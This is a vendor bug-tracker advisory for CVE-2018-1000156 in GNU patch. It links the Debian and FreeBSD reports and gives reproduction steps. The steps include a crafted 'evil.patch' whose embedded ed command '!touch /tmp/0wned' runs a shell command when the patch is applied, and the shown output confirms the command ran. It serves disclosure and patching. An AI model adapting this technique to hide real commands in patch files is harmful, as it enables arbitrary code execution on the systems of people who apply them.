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Fixed

LIN7-9679 : Security Advisory - patch - CVE-2018-1000156

Created: Apr 7, 2018 Updated: Sep 13, 2018

Resolved Date: Jun 21, 2018

Found In Version: 7.0

Fix Version: 7.0.0.29

Severity: Standard

Applicable for: Wind River Linux 7

Component/s: Build & Config

Description

The problem was pointed out in several internet posts when someone found buried in the HN /new queue as a simple link to the Debian bug tracker. 

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894667#19

--

The steps to reproduce show the problem in more detail.  Hopefully a patch will be submitted for GNU patch to resolve the problem.


FreeBSD fixed a similar problem here:
https://www.freebsd.org/security/advisories/FreeBSD-SA-15:18.bsdpatch.asc

Steps to Reproduce

---- demonstration below ---

% cd /tmp
% cat<<EOF>evil.patch
--- /dev/null   2018-13-37 13:37:37.000000000 +0100                            
+++ b/beep.c    2018-13-37 13:38:38.000000000 +0100                            
1337a                                                                          
1,112d                                                                         
!touch /tmp/0wned; ls -la /tmp/0wned
.                                                                              
EOF
% touch beep.c
% patch < evil.patch 
?
?
-rw-r--r-- 1 jwessel users 0 Apr  5 15:58 /tmp/0wned
?
patch: **** ed FAILED

Other Downloads

CVEs

CVE-2018-1000156